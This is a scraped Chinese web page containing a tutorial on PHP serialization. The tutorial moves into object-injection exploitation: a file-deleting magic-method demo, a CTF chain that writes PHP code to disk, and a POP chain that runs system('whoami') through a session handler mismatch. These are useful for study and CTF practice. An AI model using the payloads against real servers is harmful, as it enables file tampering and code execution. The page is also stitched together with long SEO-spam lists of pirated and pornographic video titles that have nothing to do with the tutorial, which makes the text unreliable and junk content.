<kbd id="fugzo"></kbd>
<pre id="fugzo"></pre>
    1. <fieldset id="fugzo"><style id="fugzo"></style></fieldset>
      <center id="fugzo"></center>
    2. 哑剧盖章,电视剧折腰免费观看全集,亮剑3gp下载,秘密访客,泰剧为你着迷,古城童话,食物链无删减,大鱼海棠

      簡單分析PHP中序列化用法介紹

      時間:2024-08-15 18:02:59 PHP

      簡單分析PHP中序列化用法介紹

        序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

        0x00 序列化函數

        serialize():返回帶有變量類型和值的字符串

        unserialize():想要將已序列化的字符串變回 PHP 的值

        測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $a  = $a;

        $this->b = $b;

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $a = 'hello';

        $b = 123;

        $c = false;

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        var_dump(serialize($a));

        var_dump(serialize($b));

        var_dump(serialize($c));

        var_dump(serialize($d));

        var_dump(serialize($e));

        ?>

        運行結果:

        string 's:5:"hello";' (length=12)

        string 'i:123;' (length=6)

        string 'b:0;' (length=4)

        string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

        string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

        序列化字符串格式: 變量類型:變量長度:變量內容 。

        如果序列化的是一個對象,序列化字符串格式為:

        變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

        將上述結果反序列化輸出,執行結果:

        string 'hello' (length=5)

        int 123

        boolean false

        object(test)[1]

        public 'a' => null

        public 'b' => string 'hellob' (length=6)

        object(test1)[1]

        public 'a' => string 'hello' (length=5)

        public 'b' => null

        0x01 對象序列化

        當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

        在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

        在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

        serialize()測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        serialize($d);

        serialize($e);

        var_dump($d);

        var_dump($e);

        ?>

        執行結果:

        b has changed b has changed

        object(test)[1]

        public 'a' => string 'helloa' (length=6)

        public 'b' => string 'hib' (length=3)

        object(test1)[2]

        public 'a' => string 'hello' (length=5)

        public 'b' => string 'hib' (length=3)

        unserialize()測試代碼:

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

        var_dump(unserialize($d));

        var_dump(unserialize($e));

        運行結果:

        a has changed

        object(test)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => string 'hellob' (length=6)

        a has changed

        object(test1)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => null

        0x02 PHP序列化的利用

        1、magic函數和序列化

        參考: php對象注入

        除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

        Class File

        {

        function __construct($var,$file1,$file2){

        $this->var = $var;

        $this->file1 = $file1;

        $this->file2 = $file2;

        echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

        }

        function __destruct(){

        unlink(dirname(__FILE__) . '/' . $this->file1);

        echo $this->file1.'deleted';

        }

        function __toString(){

        return file_get_contents($this->file2);

        }

        }

        // $file = new File('hello','123.txt','456.php');

        // var_dump(serialize($file));

        echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

        ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

        construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

        執行結果:

        123.txtdeleted

        查看源碼:

        <?php  echo 123; ?>123.txtdeleted

        將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

        如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

        http://drops.wooyun.org/papers/4820

        2、三個白帽挑戰賽第三期

        是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

        部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

        class Cache extends \ArrayObject

        {

        public $path;

        function __construct($path)

        {

        parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

        $this->path = $path;

        if(file_exists($path)){

        $this->cache = unserialize(file_get_contents($this->path));

        }

        function offset(){

        //一些不知道干嘛用的代碼

        }

        }

        function __destruct()

        {

        $cache = $this->serialize();

        file_put_contents($this->path, $cache);

        }

        }

        又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

        include('cache.php');

        $cache = new Cache('path.txt');

        這題好像是這樣的:

        通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

        path.txt:

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

        $cache = $this->serialize();

        變成了:

        $cache = serialize($this->cache);

        那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

        所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

        兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

        3、安恒ctf web3

        一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

        session上傳進度:

        參考: upload-progress

        當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

        測試代碼:

        <form action="" method="POST" enctype="multipart/form-data">

        <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

        <input type="file" name="123123" />

        <input type="submit" />

        </form>

        <?php

        session_start();

        var_dump($_SESSION);

        ?>

        (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

        session序列化處理器:

        參考: session序列化

        當session.auto_start = 0時:

        兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

        經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

        在2.php中注冊session.serialize_handler=‘php’;

        那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

        如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

        那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

        反之,如果是從php->php_serialize,是不可行的。

        當session.auto_start = 1時:

        只能注入 PHP 的內置類

        web3 源碼:

        class.php:

        <?php

        class foo1{

        public $varr;

        function __construct(){

        $this->varr = "index.php";

        }

        function __destruct(){

        if(file_exists($this->varr)){

        echo $this->varr;

        }

        echo "這是foo1的析構函數";

        }

        }

        class foo2{

        public $varr;

        public $obj;

        function __construct(){

        $this->varr = '1234567890';

        $this->obj = null;

        }

        function __toString(){

        $this->obj->execute();

        return $this->varr;

        }

        function __desctuct(){

        echo "這是foo2的析構函數";

        }

        }

        class foo3{

        public $varr;

        function execute(){

        eval($this->varr);

        }

        function __desctuct(){

        echo "這是foo3的析構函數";

        }

        }

        ?>

        index.php:

        <?php

        ini_set('session.serialize_handler', 'php');

        require("./sessionTest.php");

        session_start();

        $obj = new foo1();

        $obj->varr = "phpinfo.php";

        ?>

        想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

        所以這樣構造:

        include('class.php');

        $t1 = new foo1;

        $t2 = new foo2;

        $t3 = new foo3;

        $t3->varr = "system('whoami');";

        $t2->obj = $t3;

        $t1->varr = $t2;

        $s1 = serialize($t1);

        var_dump($s1);

        構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

        所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

        有兩類不同的插法~

        1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

        session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

        2、將序列化字符串插入post內容中

        因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

      【簡單分析PHP中序列化用法介紹】相關文章:

      簡單介紹php構造函數用法03-15

      php中dirname()和--FILE--常量的用法04-01

      PHP中的排序函數區別分析03-31

      PHP中MySQL、MySQLi和PDO的用法和區別03-10

      PHP對象注入的實例分析03-15

      PHP中curl的使用實例04-01

      PHP中關于類的定義04-01

      php中session的實現原理以及大網站應用應注意的問題分析04-01

      PHP中函數的使用說明03-30

      主站蜘蛛池模板: 盗墓笔记电视剧资源| 第22条婚规电视剧| 夜关门电影| 《明明不是我!》| 萌宝追妻:神级奶爸短剧全集| 午夜寂寞影院列表| 高清《诱人的护士》韩国| 家用摄像头未删减| 最好的遇见电视剧| 康熙微服私访记2在线观看| 《偷窥:妻子出轨》| 帝国秘符| 李连杰电影全集高清| 白峰电影在线观看550| 葛雷奥特曼国语全集| gary西北军2022的成就| 新来的瑜伽教练韩国电影在线观看中文| 夏夜韩剧在线播放| 高柳家的花嫁动画片| 姑娘爱情郎铃声| 大夏龙帝短剧免费观看| 妈妈的职业2全集观看| 长津湖之战完整版免费观看| 皇宫宝贝| 《快递员4:特殊待遇》在线播放| 《权力王朝:默多克家族》| 私人航空在线观看| 姐姐真漂亮高清BD电影完整版| 电视剧神话免费观看完整版 | 鬼片电影林正英| 螺丝钉第三季| 美丽小蜜桃2绝对满天星值得一看| 韩版《甄嬛传》| 《炸天小姐》高清电影在线观看| 德州巴黎电影在线播放| 观音传奇| 国模小洁| 苹果 范冰冰电影| 女飞行员(法国)满天星女版2011在线观看| 异次元骇客电影| 新三狼之欢场屠夫| 欧式少女16集全集在线观看视频下载| 《少年派》| 红龙电影| 韩国电影部长出差| 少女免费观看高清电视剧| v酒店第一季在线观看免费版| 张雪峰称不推荐专业也不打压专业| 九周半完整版百度影音| 别墅轮换4攻略免费观看电视剧| 兵王电视剧| 马东锡犯罪都市| 小鸡不好惹第五部| 黑暗王子| 朝鲜金雪美| 莲花楼电视剧星辰影视在线观看| 火凤凰女子特种兵| 遗失世界| 我们多么幸福歌词| 女超人麦乐迪在线播放完整版电影| 甄嬛传65集| 斯巴达第四季24集剧情详解| 第八感剧集电视剧| 丽卡驯服2电影免费观看| 枫与铃结局第二季免费| 战狼5免费观看完整版| 法证先锋3 国语| 分手大师西瓜影音| 男生女生一起相愁电视剧在线观看 | 3d肉蒲团中文字幕| 酒店实生3美国 | 午夜凶铃日版| 韩国卖房子的女销售2| 亮剑李幼斌版| 睫毛膏1983美国电影在线观看| 现在就出发第一季| 一愁愁愁全集免费看| 亚当君同类型动画有哪些| 《伊波拉病毒》2| 《无限城决战篇》免费观看 | 美国大片国语配音| 还来得及再爱你 电视剧| 阳光灿烂周三强| 上海暗管漏水维修| 电影爱你几何在线观看免费 | 新版大头儿子小头爸爸| 电视剧 永不回头| 欧美金银1-5版美国| 高清《绚烂一刻》电影| 做aj的免费大全电视| 终极蜘蛛侠第二季| 澡堂老板家的男人们| 飞哥大英雄演员表全部| 韩剧百万新娘| 杨澜 王菲| 香港电视剧列表| 浮之手中字6| 电视剧与狼共舞2| 美国式家庭禁忌结局-3| 翁虹所有电影| 大秧歌电视剧全集免费观看| 新来的私人瑜伽教练| 逆世界百度影音| 天海翼秘密女搜查官影视| 《搜索》| 品味人生无憾在线观看| 蒋欣王凯宣布结婚| 香瓜七兄弟| 高清《巴勒斯坦36》电影| 营盘镇警事 电视剧| 八戒8手机在线看免费播放电视剧大全| 天龙八部43| 女版黑鹰坠落满天星版最新消息 | 电视剧名媛望族| 降魔的2粤语在线观看| 电车痴汉小说| 《美丽妻子替夫还债》剧免费观看韩 | 韩日电影伦理四少妇精油按摩| 电视剧折腰免费观看在线播放| 大头和珍珍合集| 黑龙江科12:04视频链接| 太子妃她是大佬短剧全集| 手铐钥匙| 大闹天宫| 兔子先生视频第一季免费观看全集高清 | 惊天大贼王国语| 大力女子都奉顺在线观看| 林中小屋截取一小段| 卖房子的女销售员1| 德古拉 希尔达| 魔力宝贝监狱 在线 | 德国女子护卫队1973满天星| 冯巩个人简历简介| 发烧会所1984美国版叫什么 | 火男刀锋| 《【中文字幕】老公出差不在的三天 榨取深爱的儿子精液的人母 水野优香》- 红 | 崔京浩父亲简谱| 折腰电视剧在线观看全集| 电视剧女人泪| 心战电影百度影音| 手抄报红领巾心向党| 凤凰传奇歌曲下载| 韩剧情定大饭店国语| 毒妃在上全集免费| 钟馗传奇| 爱情有烟火演员表| 法国空乘5观看免费视频| 成吉思汗电视剧音乐| 爱我几何电影未删减版在线观看 | 一眉道姑国语免费观看高清| 森林女王在线高清观看 | 千王之王重出江湖| 杨思敏《杨贵妃秘史》| 复活电影免费观看完整版高清| 大奥电视剧| 公之浮手中字在线观看| 恋爱前规则| 我的xl司令第一季全集| 十七岁版在线观看免费| 男生女生一起愁愁愁电视剧在线| 魔女 电影| 璀璨人生余非的孩子是谁的| 少年莫扎特| 我和僵尸有个约会粤语 | 金装的维尔梅第6集| 蓝精灵动画片| 南京照相馆电影免费观看高清| 美乐加油全集| 法国空姐完整版剧情HD| MSD-005 欧妮 维修工的心跳艳遇(下) 疼痛凌辱高潮快感-在线观看-338TV | q2002午夜我的老师| 美味快递员的特殊待遇| 康熙王朝一共多少集| 年轻的小姨电视剧免费观看全集在线天才酷客游戏 | 无上魔尊短剧免费播放| 裸婚电视剧| 泰国电视剧美人计| 山神电影完整版免费观看| 你是我的花朵mv| 一愁愁愁全集免费看| 超能机器女友| 父子老爷车电影| 日版花样男子| 派出所的故事2| 甜蜜的鞭子电影完整版| 吸血鬼日记第四季字幕| 我和我的父辈在线| 老酒馆电视剧剧情介绍| 金瓶梅电影观看| 牙医姐妹80版免费看| 母亲肖复兴| 高清人生开门红| 肉身佛3步骤| 另一个贝内特家的姐妹| 锦衣之下电视剧全集免费观看| 神马电影《女销售》| 姨妈2完整版免费观看| 密桃荷尔蒙| 快乐舞步| 1995版泰山1小时34分观看| 禁室培欲电影| 黑白配1080P高清完整版| 五十度飞| 天乩之白蛇传说电视剧全集免费 | 大牛影库战狼6欧式少女全部视频| 小草青青电视剧免费的| 江北区| 我的青梅竹马是消防员 第一季 | 播放阿宝| 驯龙记国语版| 爱情公寓第3| 危情陈雅伦| 韩国电影韩国少妇勾引水电工 | 美国式保罗4原版| 难哄白敬亭电视剧在线免费观看| 罗丽星克莱尔的经典电影| 狂鼠列车| 三生三世十里桃花在线观看| 华丽的家族| 又见逍遥电视剧免费观看| 淫荡少妇按摩电影| 《东北剿匪记》电视剧| 东京塔之越南女兵俘虏营免费完整在 | 韩剧《大力女子都奉顺》| 战狼6免费完整电影在线观看高清| 雄狮少年电影| 媚者无疆免费观看电视剧| 胶原蛋白粉的作用| 鬼女之家全集观看| 《破外女2》完整版| 衰仔失乐园完整版| 大兵的寝室在线观看| 四川孃孃51岁拿下电竞冠军| 电影战狼6高清完整版在线观看免费 | 丰满的大胸女朋友2| 屏南县| 网游之超级奶爸| 修罗武神动漫| 河北公共频道| 行尸走肉第三集| 《昭和系列》电影全部导演 | 吴健版农民伯伯1-4集免费看| 疫情期间我和母亲完整版一| 私人助理2法国版电影| xl司令在线观看完整版动漫免费观看 | 铿铿锵锵免费观看在线观看| 上海一家人电视剧全集在线观看| 《沉默》完整版| 罗丽莱尔星克《魔术师》免费观看| 女人是男人的未来免费观看| 黄色仓库视频| 孩子王电影| 全集动画片| 迪迦奥特曼国语| 欢迎光临全集免费观看| 很高兴认识你泰剧免费观看完整版| 终极三国全集在线观看| 女超人法国版有字幕吗| 电影女儿国| 我的远房表妹| 武庚纪 动漫| 做aj电视剧免费观看美国| 相亲遇见美女| 孩子快抓紧妈妈的手| 美丽妻子替丈夫还债| 画满一张纸| 法国空姐2019| 善良的女秘书免费| 午夜理发店| 疯狂动物城衍生剧在线观看| 跟部长出差的日子| 赘婿在线播放| 坎贝奇无憾人生完整版| 末日灾难| 激战从林2电影免费观看| 王者清风电视剧| 西游降魔篇高清完整版| 屠场娃娃在线观看免费高清视频| 电视剧猎场| 新还珠穿帮镜头| 缘之空全集免费观看完整版| 误杀3在线播放| 漂亮的保姆3在线播放西瓜| 特邀外卖员电影免费在线| 肥猫寻亲记| 金梅瓶之爱奴1在线观看| 金装四大才子国语全集| 上海电视台节目表| 四美女一男免费高清电视剧| 逃学威龙1免费高清观看国语版| 《迷宫1997版》星克莱尔| 英雄慢走| 特利迦奥特曼中文版| 商务旅行2019版免费观看| 悬崖百度影音| 若你安好便是晴天在哪里可以看| 好姑娘2在线播放免费观看电视剧下载 | 我的xl司令在线观看免费高清全集| 大象电视剧| 人猿泰山电影1995版在线播放| 心太软伴奏| 二号首长2| 珠江台今日关注直播| 普法栏目剧婚变| 特别的酒店2免费| 年轻的小搜子2| 禁忌1-4保罗一家| 现世因果教育| 《背叛老公的社长夫人》最新电影在线观看 -西瓜电影免费播放 -灵蓄影院 | melody makes《女超人》免费播放 | 帮帮我爱神完整版| 束缚游戏免费看| 高清丰臣兄弟!未删减| 执法者们粤语电视剧在线观看| 法国经典电影女狱警》理论片高清在线观看 - 全集韩国剧 -南瓜...导演:William | 花姑娘HD| 再爱我一次电影完整版| 灌篮高手免费国语版在线播放| 《激战丛林》电影观看 | 美乃雀所有影片免费观看| 七根凶简电视剧在线观看| 《屠宰森林》在线观看| 电视剧青年医生| 星际迷航之复仇女神| 开心锤锤搞笑全集| 豆豆笑笑| 八戒,八戒网剧在线观看7| 僵尸道长2 电视剧| 幻想1998罗丽星克莱尔| 使徒行者1电影版国语| 兄弟换麦子6国语版1080P | 三叉戟2电视剧免费完整版第二部| 乡村爱情8西瓜影音| 《女子护卫队》完整版| 我朋友的丈夫 电影| 九重紫电视剧哪里可以看| 星克莱尔《化妆舞会》| 男双乒乓球决赛结果| 电锯惊魂7高清版| 台版1987渔夫荒野史记在线观看 | 我的特一营| 无限资源日本动漫版在线| 特搜战队| 僧侣之夜在线观看动漫完整版 | 智斗美女蛇| 美人图秋瓷炫被搓奶第几分钟| 交换俱乐部女警交换| 大话西游之月光宝盒电影| 朝国年经的继6免费观| 道士下山BT| 株洲市| 暴躁老妈1-46集剧情| 义姐是不是良动漫全集免费观看| 来不及说我爱你免费观看完整版| 法国空乘5满天星观看| 同桌的你免费| JUL945老公不在的平日、被自外工作回家的絶伦公公天天侵犯到疯狂高潮。三舩美 | 年轻的嫂子3在线播放中字| 美国XXXX| 少年包青天2部| 隐身帽子电影| 巅峰对决电影完整版免费观看| 女人的故事| 金瓶梅1高清在线观看| 需要爸爸播种 中文播放| 王蒙速滑| 中美元首会晤持续1小时45分钟| 封总,太太想跟你离婚| 吾守尔大爷的冰| 女员工的付出中字1230| 花房姑娘国语版免费观看高清| 激情都市| 《约定》台剧| 情靡短剧全集免费观看完整版| 韩剧《哭声》在线观看 | 金瓶梅原著电视剧1| 束缚游戏在线观看| 搞笑一家人下载| 破冰行动免费完整版| 二龙湖爱情故事2020免费观看| 华安县| 湖南卫视好好生活| 少妇的精油按摩电影| 祈祷爱情电视剧| 国王在冬眠在线观看 | 葫芦娃在线观看| 《疯狂农场3》免费观看中文版| 《图书馆的女友》1-6集结局| 潮与虎39| 成人h单机游戏| 繁华电视剧| 黑白配国语版超清1080p高清| 伪装者未删减| 霹雳娇娃2| STAR471电影免费观看中字| 慈禧电影| 破局电影在线观看免费完整版高清| 《我是刑警》电视剧第14集| 怎么辨别玉的好坏?| 很想很想你| 战狼4在线观看完整版| 暴躁老妈国语版免费观看| 谍战剧《惊变》| 大漠苍狼电视剧| 《迪拜的女孩2满天星》| 野花高清在线观看视频播放| 梦里水乡mtv| 妻子8免费全集在线观看| 伸冤人3 在线观看| 美国式禁忌睫毛膏4完整版免费观看| shameless第三季免费观看| 美丽水蜜蜂| 隔世相逢| 《渔夫荒淫史》在线观看| 谁都会说我爱你全集| 《法国空乘5》免费播放| 高清火遮眼未删减| 我的幸福婚约| 海达全集观看| 闪婚顶流爱豆:是我老公短剧全集| 女律师的坠落完整版日剧| 铠甲勇士星耀觉醒| 销售员的销售秘密2免费观看| 电视剧你比星光美丽免费观看| 版坎贝奇《无憾》免费观看| 赌圣之上海滩粤语| 妻子8全集完整版在线播放| 一起老去| 法国空乘2016完整版中文翻译英文| 三生有幸遇见你| 《激战丛林》洛可希佛帝在线观看| 金梅瓶下载| 《安娜的秘密》满天星女超人 | 电视剧《男妇女主任》| 掐曲30分钟的痛| 花的勇气ppt| 和喜玉兰免费观看全集播放| 爱在离别时全集| 晋江市| 刀剑乱舞花丸第二季| 银鞋在线观看完整免费高清原声满天星 | 妻子6免费完整版| 功夫熊猫动漫| 《纯真年代的爱情》| 急救护士2成人版| 老舅1-40集全免费播放| 死亡飞车电影| 为什么叫小李子| 极品教师第六季免费观看完整版 | 男生和女生愁愁愁电视剧在线观看30分| 花心赌圣粤语| 倩女幽魂电影在线观看免费完整版| 我们的爱情泰剧免费观看全集| 姐妹牙医全集在线| 前任攻略4| 疯狂动物城2国语版免费| 做aj视频大全| 囧的呼唤111| 天海翼伦理秘密搜查官| 台州学院附中| 高管绑架案神秘李娜身份揭晓 | 女超人满天星版麦乐迪夸克| 热力公司怼居民称凭啥给你热下去| 追踪者第二季电视剧| 父母爱情电视剧在线看高清全集免费| 三度诱惑| 凌云壮志满天星欧美版哪里看| 琅琊榜风起长林| 战狼6欧美版完整资源下载| 韩剧要帅气的生活| 坎贝奇三级片《无憾》完整版| 文豪野犬第四季免费观看简体中文| 河南广播电视台都市频道直播| 菲律宾电影《女仆》播放| 牙医姐妹1986完整版手机在线观看 | 《贝拉1》完整版| 黑帮老大哥我的365天在| 电影西游降魔篇在线观看| 第一章激情艳妇| 使徒行者1电影版国语| 怪医文三块电视剧免费完整版 | 好姑娘免费高清在线观看| 战狼9欧式少女在哪看| 妖精的尾巴119预告| 超级马里奥世界2| 机器侠mp4下载| 狙击手拉苏尔电影免费观看完整版 | 满清禁宫秘史下载| 新成长的烦恼国语版| 拳击手2罗莎版完整版| 新还珠格格高清在线观看| 友田真希中文字幕| 金毛配种| 全职法师第6季全集免费观看| 黑人巨茎大战俄罗斯美女| 死神在线观看| 三年中国在线观看免费观看第二集下| 英雄虎胆免费完整版| 欧式少女16集全在线观看优酷下载电影| 李庚希:这是属于凌敏的奖杯| 沧元图动漫60| 韩国r片| 风流一夜情在线观看| 邻家特工 下载| 善良的儿媳妇在线播放| 上门卖保险的女销售| 李卫当官第二部| 老师的秘密 韩国| 大牛荷尔蒙美国版6| 花间提壶方大厨第二季| 战火青春金戈版| 一胎二宝:妈咪超神短剧全集| 水润女人刘志贤最火的几部电影作品 | 回复术士的重启人生在线观看高清| 河南男子与猪结婚引争议| 我的爸爸妈妈电视剧| 同学3| 蜡笔小新3| 皮囊之下免费观看| 变成黑辣皮之后第1集| 私人女性监狱美国| 美容院的特除服务6| 起飞英文| 了了晴山见纷纷宿雾空什么意思 | 你太过分了韩剧| 扫黑风暴电视剧免费观看2025| 神奇的遥控女上司| 爱情公寓3第14集| 传闻中的陈芊芊免费观看| 哈尔滨花式宠爱南方小土豆| 女仆在线观看完整免费高清原声满天星奔跑吧ep | 爱我几何在线免费观看| 变形金刚2国语版| 中字HD丈夫的下属中字| 楚留香传奇电视剧| 盛唐风流电影免费观看中文版| 飞哥大英雄全集在线观看| 法利赛人 韩国| 修理工的艳遇日本| 霍莉桑普森| 沂蒙小调光头王老五| 来自妈妈绣感2在线看电视剧| 红点颏叫声| 善良的嫂子3在钱电影| 危机四伏在线观看免费观看完整版| (已屏蔽)| 无尽之海| 最终幻想6| 蒋万安与洪秀柱的关系| 熊出没之狂野大陆免费观看完整版| 钢琴教师百度影音| 电视剧汶川故事| 《XL司令》动漫第一季动漫| 铁扇公主肚子疼| 《蹂躏》| 插曲的痛免费播放完整中国| 莫言 丰乳肥臀 下载| 欲望爱人电影线观看完整| 吸血家族汤普森| 儿歌童谣打电话| 黑白配1080完整版免费观看 | 电影长城大决战| 高清《课外辅导》韩国电影| 寂寞护士1-40集免费观看在线| 《法国空乘》在线观看免费| 性男按摩师电影| 神印王座伊莱克斯剧场版| 坎贝奇第二部曲《无憾》免费观看| 亲爱的妈妈4无删减版| 快乐星球第5部| 地震发生前有哪些预兆| 丈夫升职妻子被社长欺负剧情| 韩国电影同学的母亲| 叵测未删减| 狂飙全集免费观看| 罗丽星克莱尔123全集| 辛德勒的名单下载| 善良的嫂子41| 欢乐颂25集| 清十二楼房得锦江免费| 我是特种兵之利刃出鞘29| 美丽的卖花女孩| 免费韩剧| 17·3 电影高清在线观看 | 刀郎 爱是你我| 两人互换麦子3| 侠岚第4季全集| 孩子今天妈妈给你| 真实伦 乱| 美国伦理蜜桃4| 四川妹子| 西安地铁保安女子完整版| 冰封(重生之门)| 韩国电影维修工的艳遇| 我和我的祖国王菲| 西西里的美丽传说电影| 《法国护士长》在线| 天下第一高清| 站台电影| 欧式少女第16集全集更新时间| 需要爸爸的种子类似视频在线观看 | 第二次被异世界召唤| 人猿泰山hr版1995无删减在线完整| 棋士在线观看| 痛的插曲的免费高清完整版 | 《我们》栏目| 锋刃 电视剧| 《呕吐实验室》免费观看完整版| 樱桃红红| 奔跑吧兄弟泰国完整版| 我的莫格利男孩| 《星河战队1》电影| 铿锵锵锵锵免费看| 那刻的怦然心动| 《年轻女教师2》在线播放| 神汉流氓| 碧血剑林家栋版全集| 亲爱的你免费观看| 满天星在线| 与狼共舞30| 占有姜西| 黄子华周慧敏电影| 劳拉的遗产满天星版| 澳洲乱世情百度影音| 需要爸爸的种子演员表| 英雄电影免费观看完整版| 棘手狂情电影完整版| 《和讨厌的部长出差旅》电影| 红楼梦87版全集下载| 按摩店的特殊待遇在线免费观看| 绣春刀1高清免费观看| 美国5~1普通话| 度华年电视剧免费观看全集在线播放 | 传闻中的七公主中文版| 兄弟换麦6| 孤注电影完整版在线看| 中国达人秀街舞卓君| 刘罗锅别传| 公与三个媳HD| 王国第一季在线观看| 朝鲜驱魔师16集免费大全| 地狱男爵2黄金军团| 战狠6完整版在线观看| 许我耀眼1-40集完整版全集| 恶魔搬进来了| 最强车模| 人体蜈蚣3 电影| 《花子VS倔强驱魔师》在线观看人面犬| 瑜珈教程| 高清《妻子的新世界》电视剧| 鹿鼎记之神龙教| 义姐是不是良喂养1-2集动漫在线观看 | 四位大学位按摩记电子版PDF下载| 《我的四个姐姐》动漫第一集| 斗罗大陆33| 《航空:特殊待遇2》中文| 尔滨启动收复失地计划!| 妻子的秘密49| 镉超标大米| HD版《激战丛林》完整版意大利在线| 狂暴飞车144分钟完整免费版 | 《西施》完整版电影在线观看| 车水马龙电影免费版| 赵本六鹤岗| 《女警察坠落2》| 时光代理人第二季| 